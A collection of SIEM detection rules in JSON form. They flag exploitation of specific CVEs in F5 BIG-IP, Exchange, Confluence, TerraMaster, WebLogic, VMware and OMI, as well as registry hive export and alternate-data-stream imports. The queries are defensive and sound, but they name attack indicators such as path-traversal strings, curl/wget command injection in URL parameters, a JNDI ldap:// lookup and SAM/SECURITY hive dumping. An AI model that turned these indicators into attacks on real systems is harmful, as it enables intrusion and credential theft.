{"description": "Detects the exploitation attempt of the vulnerability found in F5 BIG-IP and described in CVE-2020-5902", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "a7d23297-33ca-c7a3-7746-a436143189fd", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CVE-2020-5902 F5 BIG-IP Exploitation Attempt", "query": "(cs-uri-query:(*\\/tmui\\/* OR *\\/hsqldb*) AND cs-uri-query:(*..;\\/* OR *.jsp\\/..*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "886986f5-46ae-fd50-2929-cd5d53008ab3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "KDC RC4-HMAC Downgrade CVE-2022-37966", "query": "(winlog.channel:\"System\" AND winlog.event_id:\"42\" AND Provider_Name:\"Kerberos\\-Key\\-Distribution\\-Center\" AND Level:\"2\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the exploitation of Microsoft Exchange ProxyToken vulnerability as described in CVE-2021-33766", "author": ["Florian Roth", "Max Altgelt", "Christian Burkard"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "08d49550-8566-34f9-260d-47ec72044f66", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CVE-2021-33766 Exchange ProxyToken Exploitation", "query": "(http.response.status_code:\"500\" AND (((http.request.method:\"POST\" AND cs-uri-query:*\\/ecp\\/* AND cs-uri-query:*\\/RulesEditor\\/InboxRules.svc\\/NewObject*)) OR ((cs-uri-query:*SecurityToken\\=* AND cs-uri-query:*\\/ecp\\/*))))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "e18109b0-4387-d158-9674-a135bb9cf89e", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CVE-2020-0688 Exchange Exploitation via Web Log", "query": "(http.request.method:\"GET\" AND cs-uri-query:(*\\/ecp\\/* OR *\\/owa\\/*) AND cs-uri-query:*__VIEWSTATE\\=*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cdeac4ea-6589-8d8c-afe9-4a619b0b8bbf", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CVE-2020-0688 Exploitation via Eventlog", "query": "(winlog.channel:\"Application\" AND (winlog.event_id:\"4\" AND Provider_Name:\"MSExchange\\ Control\\ Panel\" AND Level:\"Error\") AND \"&__VIEWSTATE\\=\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "wagga"], "license": ""}
{"description": "Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request. Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP). Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.", "enabled": false, "false_positives": ["Exploits that were attempted but unsuccessful.", "Scanning attempts with the abnormal use of the HTTP POST method with no indication of code execution within the HTTP Client (Request) body. An example would be vulnerability scanners trying to identify unpatched versions while not actually exploiting the vulnerability. See description for investigation tips."], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "cddca2b9-798e-4c46-9e02-f53ef08c0bd3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "OMIGOD HTTP No Authentication RCE", "query": "(event.dataset:\"http\" AND ((http.response.status_code.text:\"200\" AND url.original.text:\"\\/wsman\" AND http.request.method.text:\"POST\") AND (NOT (http.client_header_names:*AUTHORIZATION*))) AND (NOT (http.response.body.bytes:\"0\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "Lateral Movement", "Privilege Escalation", "T1021", "T1068", "T1190", "T1203", "T1210"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}, {"id": "T1210", "name": "Exploitation of Remote Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nate Guagenti (neu5ron)"], "license": ""}
{"description": "Detects the exploitation of PrinterNightmare to get a shell as LOCAL_SYSTEM", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "19493491-b0ed-e8de-2015-f51feee9caf2", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "SystemNightmare Exploitation Script Execution", "query": "process.command_line:(*printnightmare.gentilkiwi.com* OR *\\ \\/user\\:gentilguest\\ * OR *Kiwi\\ Legit\\ Printer*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1068"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the exploitation of the Confluence vulnerability described in CVE-2019-3398", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "24a26c59-ec90-96b0-47b3-d778fd03cdae", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Confluence Exploitation CVE-2019-3398", "query": "(http.request.method:\"POST\" AND cs-uri-query:*\\/upload.action* AND cs-uri-query:*filename\\=..\\/..\\/..\\/..\\/*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the exploitation of the TerraMaster TOS vulnerability described in CVE-2020-28188", "author": ["Bhabesh Raj"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "fba2e8f2-a7ea-fcac-dd3e-924b8d4686da", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "TerraMaster TOS CVE-2020-28188", "query": "(http.request.method:\"GET\" AND cs-uri-query:*\\/include\\/makecvs.php* AND cs-uri-query:*?Event\\=* AND cs-uri-query:(*curl* OR *wget* OR *.py* OR *.sh* OR *chmod* OR *_GET*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the exploitation of the TerraMaster TOS vulnerability described in CVE-2020-28188", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "fba2e8f2-a7ea-fcac-dd3e-924b8d4686da", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "TerraMaster TOS CVE-2020-28188", "query": "(http.request.method:\"GET\" AND url.original:*\\/include\\/makecvs.php* AND url.original:*?Event\\=* AND url.original:(*curl* OR *wget* OR *.py* OR *.sh* OR *chmod* OR *_GET*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects the exploitation of the VMware View Planner vulnerability described in CVE-2021-21978", "author": ["Bhabesh Raj"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "15e57020-ddb7-034f-38f2-11a4c17e3686", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CVE-2021-21978 Exploitation Attempt", "query": "(http.request.method:\"POST\" AND cs-uri-query:*logupload* AND cs-uri-query:*logMetaData* AND cs-uri-query:*wsgi_log_upload.py*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the exploitation of the Wazuh RCE vulnerability described in CVE-2021-26814", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "97f89b3e-2316-fa45-d0f7-5e51fca42e2e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Exploitation of CVE-2021-26814 in Wazuh", "query": "cs-uri-query:*\\/manager\\/files?path\\=etc\\/lists\\/..\\/..\\/..\\/..\\/..*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the exploitation of the WebLogic server vulnerability described in CVE-2021-2109", "author": ["Bhabesh Raj"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "d6607ede-ef98-dd05-8f4f-8243c8327450", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Oracle WebLogic Exploit CVE-2021-2109", "query": "(http.request.method:\"GET\" AND cs-uri-query:*com.bea.console.handles.JndiBindingHandle* AND cs-uri-query:*ldap\\:\\/\\/* AND cs-uri-query:*AdminServer*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the exploitation of VMware Workspace ONE Access Authentication Bypass vulnerability as described in CVE-2022-31656\nVMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users.\nA malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.\n", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Vulnerability scanners"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "dd31f84b-92f2-0a1c-3510-058aa6ee2bc4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CVE-2022-31656 VMware Workspace ONE Access Auth Bypass", "query": "cs-uri-query:*\\/SAAS\\/t\\/_\\/;\\/*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972", "author": ["Bhabesh Raj"], "enabled": false, "false_positives": ["OVA uploads to your VSphere appliance"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "f0ce768c-6381-e8ca-2518-d2291c1bdd58", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CVE-2021-21972 VSphere Exploitation", "query": "(http.request.method:\"POST\" AND cs-uri-query:\"/ui/vropspluginui/rest/services/uploadova\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972", "enabled": false, "false_positives": ["OVA uploads to your VSphere appliance"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "f0ce768c-6381-e8ca-2518-d2291c1bdd58", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CVE-2021-21972 VSphere Exploitation", "query": "(http.request.method:\"POST\" AND url.original:\"\\/ui\\/vropspluginui\\/rest\\/services\\/uploadova\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c541e7c4-3e8b-f5bd-1491-8c05114faa26", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Exploited CVE-2020-10189 Zoho ManageEngine", "query": "(process.parent.executable:*DesktopCentral_Server\\\\jre\\\\bin\\\\java.exe AND process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\bitsadmin.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1059", "T1059", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the export of a crital Registry key to a file.", "enabled": false, "false_positives": ["Dumping hives for legitimate purpouse i.e. backup or forensic investigation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cfa298bd-60cb-5940-8359-5f38870ca929", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Exports Critical Registry Keys To a File", "query": "(process.executable:*\\\\regedit.exe AND process.command_line:(*\\ \\/E\\ * OR *\\ \\-E\\ *) AND process.command_line:(*hklm* OR *hkey_local_machine*) AND process.command_line:(*\\\\system OR *\\\\sam OR *\\\\security))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1012"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Oddvar Moe", "Sander Wiebing", "oscd.community"], "license": ""}
{"description": "Detects the export of the target Registry key to a file.", "enabled": false, "false_positives": ["Legitimate export of keys"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0b21e4f1-1c8d-c3ec-0313-ccde0728930e", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Exports Registry Key To a File", "query": "((process.executable:*\\\\regedit.exe AND process.command_line:(*\\ \\/E\\ * OR *\\ \\-E\\ *)) AND (NOT ((process.command_line:(*hklm* OR *hkey_local_machine*)) AND (process.command_line:(*\\\\system OR *\\\\sam OR *\\\\security)))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1012"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Oddvar Moe", "Sander Wiebing", "oscd.community"], "license": ""}
{"description": "Detects the image load of Python Core indicative of a Python script bundled with Py2Exe.", "enabled": false, "false_positives": ["Legitimate Py2Exe Binaries", "Known false positive caused with Python Anaconda"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "14d150b9-e9ba-107c-c1ef-002e0f8f65be", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Python Py2Exe Image Load", "query": "(winlog.event_data.Description:\"Python\\ Core\" AND (NOT ((process.executable.text:*Python* OR process.executable.text:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\ProgramData\\\\Anaconda3\\\\*)) OR (NOT _exists_:process.executable.text))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Patrick St. John", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detects the image load of VSS DLL by uncommon executables", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c52b8112-ad66-0677-97d2-90e0dc7b10f5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Image Load of VSS Dll by Uncommon Executable", "query": "(dll.path:(*\\\\vsstrace.dll OR *\\\\vssapi.dll) AND (NOT ((process.executable.text:(C\\:\\\\Windows\\\\* OR C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1490"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the image load of vss_ps.dll by uncommon executables using OriginalFileName datapoint", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fc7500b0-2a78-8e86-918d-4e7fca08d6a1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Image Load of VSS_PS.dll by Uncommon Executable", "query": "(file.path:*\\\\vss_ps.dll AND (NOT (process.executable:(*\\\\svchost.exe OR *\\\\msiexec.exe OR *\\\\vssvc.exe OR *\\\\srtasks.exe OR *\\\\tiworker.exe OR *\\\\dllhost.exe OR *\\\\searchindexer.exe OR *dismhost.exe OR *taskhostw.exe OR *\\\\clussvc.exe OR *\\\\thor64.exe OR *\\\\thor.exe OR *\\\\rundll32.exe OR *\\\\inetsrv\\\\iissetup.exe) AND process.executable:*c\\:\\\\windows\\\\*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1490"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}]}], "version": 1, "references": ["1bd85e1caa1415ebdc8852c91e37bbb7", ""], "timestamp_override": "event.ingested", "author": ["Markus Neis", "@markus_neis"], "license": ""}
{"description": "Detects the image load of vss_ps.dll by uncommon executables", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fc7500b0-2a78-8e86-918d-4e7fca08d6a1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Image Load of VSS_PS.dll by Uncommon Executable", "query": "(dll.path:*\\\\vss_ps.dll AND (NOT ((process.executable.text:(*\\\\svchost.exe OR *\\\\msiexec.exe OR *\\\\vssvc.exe OR *\\\\srtasks.exe OR *\\\\tiworker.exe OR *\\\\dllhost.exe OR *\\\\searchindexer.exe OR *\\\\dismhost.exe OR *\\\\taskhostw.exe OR *\\\\clussvc.exe OR *\\\\thor64.exe OR *\\\\thor.exe OR *\\\\rundll32.exe OR *\\\\inetsrv\\\\iissetup.exe OR *\\\\inetsrv\\\\appcmd.exe OR *\\\\WmiPrvSE.exe) AND process.executable.text:C\\:\\\\Windows\\\\*) OR (process.executable.text:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*)) OR (process.command_line.text:C\\:\\\\$WinREAgent\\\\Scratch\\\\* AND process.command_line.text:*\\\\dismhost.exe\\ \\{*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1490"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Markus Neis", "@markus_neis"], "license": ""}
{"description": "Detects the import of a alternate datastream to the registry with regedit.exe.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c474f41b-1672-a3fe-44a9-01544e9b45c9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Imports Registry Key From an ADS", "query": "((process.executable:*\\\\regedit.exe AND process.command_line:(*\\ \\/i\\ * OR *.reg*) AND process.command_line:/:[\\\\\\\\]/) AND (NOT (process.command_line:(*\\ \\/e\\ * OR *\\ \\/a\\ * OR *\\ \\/c\\ *))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Oddvar Moe", "Sander Wiebing", "oscd.community"], "license": ""}
{"description": "Detects the import of an alternate data stream with regini.exe, regini.exe can be used to modify registry keys.", "author": ["Eli Salem", "Sander Wiebing", "oscd.community"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8a8d9ed7-3d11-7234-88dd-6dc4f4f1366a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Modifies the Registry From a ADS", "query": "(((process.executable.text:*\\\\regini.exe) OR (winlog.event_data.OriginalFileName:\"REGINI.EXE\")) AND (process.command_line.text:/:/ OR process.command_line.text:/[/ OR process.command_line.text:/^/ OR process.command_line.text:/ / OR process.command_line.text:/\\/ OR process.command_line.text:/\\/ OR process.command_line.text:/]/))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the import of the '.reg' files from suspicious paths using the 'reg.exe' utility", "enabled": false, "false_positives": ["Legitimate import of keys"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "780fdb03-d3ca-f9e7-2e6b-21ecac00bbc9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Imports Registry Key From a File Using Reg.exe", "query": "(process.executable.text:*\\\\reg.exe AND process.command_line.text:*\\ import\\ * AND process.command_line.text:(*C\\:\\\\Users\\\\* OR *%temp%* OR *%appdata%* OR *\\\\AppData\\\\Local\\\\Temp\\\\* OR *C\\:\\\\Windows\\\\Temp\\\\* OR *C\\:\\\\ProgramData\\\\*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the import of the specified file to the registry with regedit.exe.", "author": ["Oddvar Moe", "Sander Wiebing", "oscd.community"], "enabled": false, "false_positives": ["Legitimate import of keys", "Evernote"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "dfaa230e-b346-6a26-0be6-82671960005c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Imports Registry Key From a File", "query": "((process.executable.text:*\\\\regedit.exe AND process.command_line.text:(*\\ \\/i\\ * OR *\\ \\/s\\ * OR *.reg*)) AND (NOT ((process.command_line.text:(*\\ \\/e\\ * OR *\\ \\/a\\ * OR *\\ \\/c\\ * OR *\\ \\-e\\ * OR *\\ \\-a\\ * OR *\\ \\-c\\ *)) AND ((process.command_line.text:/:/ OR process.command_line.text:/[/ OR process.command_line.text:/^/ OR process.command_line.text:/ / OR process.command_line.text:/\\/ OR process.command_line.text:/\\/ OR process.command_line.text:/]/)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
